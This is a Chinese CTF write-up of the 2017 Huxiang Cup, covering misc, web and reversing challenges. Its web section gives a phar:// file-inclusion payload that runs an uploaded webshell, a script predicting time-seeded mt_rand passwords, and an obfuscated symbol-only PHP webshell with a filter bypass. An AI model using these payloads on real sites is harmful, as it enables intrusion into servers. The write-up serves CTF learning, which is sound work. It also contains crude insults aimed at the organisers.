2017年 “湖湘杯”网络安全技能大赛Writeup

Misc ak,web差web400,pwn一分没有,re 两道,反正尽力了

MISC

流量分析

wireshar导出http文件发现flag.zip

打开为rgb

使用脚本把rgb转换成图片

1
2
3
4
5
6
7
8
9
10
11
12
from PIL import Image
import re
x = 887
y = 150
image = Image.new("RGB",(x,y))
f = open('ce.txt')
for i in range(0,x):
for j in range(0,y):
l = f.readline()
r = l.split(", ")
image.putpixel((i,j),(int(r[0]),int(r[1]),int(r[2])))
image.save('image1.jpg')

打开图片得到flag

热身运动

一张gif,一个粉红色的老虎在一个国际象棋的棋盘上瞎j8动

使用Stegoslove查看每一帧记录下老虎移动的坐标

1
5b 4g 2b 4b 5b 2h 3e 2b 5f 8f 1e 2b 7f 6f 1f 4g 5f 6g 1b 3g 5g 6h 2e 

百度64进制编码得到一张表,对应坐标记录数字

1
2
3
5b 4g 2b 4b 5b 2h 3e 2b 5f 8f 1e 2b 7f 6f 1f 4g 5f 6g 1b 3g 5g 6h 2e 

25 38 49 33 25 55 44 49 29 5 60 49 13 21 61 38 29 22 57 46 30 23 52

再用数字对应base64码表

1
2
3
4
25 38 49 33 25 55 44 49 29 5  60 49 13 21 61 38 29 22 57 46 30 23 52
Z m x h Z 3 s x d F 8 x N V 9 m d W 5 u e X 0
ZmxhZ3sxdF8xNV9mdW5ueX0

解最后的base64得到flag
flag{1t_15_funny}

题目Encryptor.apk

逆向apk

得到关键代码

加密过程为:
j是md5以后的字符串换成字节了以后的长度
paramArrayOfByte1[i]是图片的每一个字节
用图片的每一个字节和md5字符串的第[i%j]号字节异或

因为是异或加密,解密只需要再加密一次即可得到flag

限制了加密文件必须为图片,把加密后的文件重命名为jpg放进加密机加密,得到flag图片

这是题目修改前的flag图片

这他妈的字写的什么j8玩意?

题目修改后的图片

misc300

题目为pkl后缀名

pkl是python的序列化文件

使用脚本读取之后是一行英文

S'The black pixels of a b/w image are at

剩下的是很多坐标,使用画图模块绘制散点图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import pickle
from PIL import Image
import matplotlib.pyplot as plt

f = open('pixels.jpg.pkl')
inf = pickle.load(f)
f.close()
print inf
print inf[0]
pic=inf[1:]
a=[]
b=[]
for i in pic:
x=i[0]
y=i[1]
print x,y
a.append(x)
b.append(y)


plt.scatter(a,b,c = 'black',s = 1)
# plt.plot(a,b,'ko')
plt.show()

把脑袋倒过来看,对

是个漫画人物

漫画名为凯文的幻虎世界,作者Bill Watterson

flag 就是作者的名字billwatterson

嗯,cnm啊这尼玛谁想得到?出题人脑子可能有坑

github原题

人家原题叫who made me ,这tm 叫misc300。。醉了

WEB

web200:

题目提示:只是一个普通的上传。
打开页面以后得到亮点提示:
a.只能上传png b.htmlentities(ucfirst($op)); op变量做过简单的处理。

打开upload页面发现http://118.190.87.135:10080/?op=upload ==> op=upload应该是文件包含。
扫描一下目录:upload.phphome.phpflag.phpshow.php加上两个目录imageuploads

上传一个png

{0Z)8U}WOM{[T(ORU6K])9G.png

页面返回URL: op=show&imagekey=cf32f1071d5f2a4b89c72df04a1b5de02dce2bf1

到这里就更加印证了是一个文件包含漏洞了
这个imagekey应该就是上传后的文件名,上传的文件应该是在uploads文件下:

SQ_E

果然,然后包含它

重新思考了一下,包含upload.php的时候,是op=upload 那么其代码应该是op=$_GET[op].’.php’;在文件中加上php的,这时候我想到phar://协议。
x.php(一句话shell)压缩成zip格式,然后再改成png格式上传到服务器,用包含结合phar协议来执行php文件:
Payload:
op=phar://./uploads/e3b413b087bd7f56d3a67d3f970a88c489b60e66.png/x

可以执行,然后读取flag.php中的内容

Payload:x=highlight_file('././flag.php');

web150 random

这道题是相当的坑,11点出了以后到4点左右才正常。

像这样的题,进去没什么提示,首先想到的源代码泄露,然后审计代码绕过一些的。访问.index.php.swp存在,这个是vi编辑器留下的,但是在11点-4点之间这段时间,这个里面根本没有源码,和index一样是乱码。

源码看到以后,就发现是mt_rand()伪加密,mt_srand()time()为种子进行播种,mt_rand()生成的内容是依赖于time()的。
思路:用python直接访问页面拿到pwd的值,在time()生成的时间戳变化之前提交上去,就可以绕过第一层if($pwd == $_GET[pwd]),但是这乱码是什么东东?
把源码放在本地,然后去生成、输出pwd 和 session。

发现还是乱码,那可能pwd就是乱码,ok。写个脚本,让脚本先访问题目地址,处理题目地址返回页面,取出pwd的值,再访问本地页面对比pwd的值,如果相同,则把本地页面生成的pwd、session的值分别作为pwd参数和action参数的值提交上去。

Flag为:you get the flag it is hxb2017{6583be26c1403c25677c03ac7b3d1f22}

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests,re

#re_pass = re.compile(r'<br>.+||')
url = "http://114.215.138.89:10080/"
while True:
res = requests.get(url)
s = res.content[29:-8]
print s
resloaction=requests.get("http://127.0.0.1/test.php")
list = resloaction.content.split(' ')
params={}
if list[0]==s :
params['login']=list[1]
params['pwd']=s
#params['login']=s
resp = requests.get(url,params=params)
if 'flag' in resp.content :
print resp.content
break;
elif 'Wrong' in resp.content :
print 'Wrong'
elif 'first' in resp.content :
print 'first'
else :
pass

本地页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function create_password($pw_length =  10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
mt_srand(time());
$pwd=create_password();
echo $pwd.' ';
//echo "<br>";
echo create_password(32).rand();

web300

访问看到源码,过滤了很多字符,但是()[]=’+.;这些字符没过滤,题目又提示能getshell。这让我想起了以前在网上看到过的一个符号一句话木马。

1
2
3
<?php
$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
?>

但是提交被拦截

因为+在url中表示空格,而题目拦截空格。所以要把+ 进行一次URL编码,传入后会自动进行解码:
将符号一句话中的+全部用%2b替换

getflag

RE

简单的Android

apk文件

解压后用dex2jar把classes.dex转换成jar包

用jd-gui打开,发现代码中直接就包含了flag明文。没安装测试,直接交就过了

RE100

发现是win,还有upx壳,用3.91版的upx -d解压成功

解压后直接运行会挂掉,ida打开,main函数就在启动函数上面几个(通过字符串提示发现main函数)

Q.png

按f5可以得到如下c代码

ng

虽然很多函数没有识别,但是不影响这些分析
发现一堆没用的代码,其实关键的就是圈中的代码而已。这里的输入才会影响后面的结果。至于判断条件,if嵌套if,似乎不可能达成这些条件,应该是程序挂掉的原因。所以,直接进入关键函数sub_401080

明显是按位异或,供44个字符,每个和x22或后等于相应的值就可以,反向计算拿到flag。但是要注意顺序,读取的行数是换了的,而且注意低存低高存高

本来想用idc脚本把数据抠出来,然后异或就好了。但是出了点问题,会读取出特别大的数字,只能一个一个手动弄出来。按照行的顺序,每一行从右边到左边。然后写python脚本如下:

执行得到结果


ps:

web400差点做出来,比赛结束前7分钟改题也是牛逼,misc100直接换题,misc300偷来原题还不给题目名,misc200用一堆写的屎一样的英文来强行加难度,这出题人真的是服气

送出题人串字母啊 mmmmmmmmp!


⬆︎TOP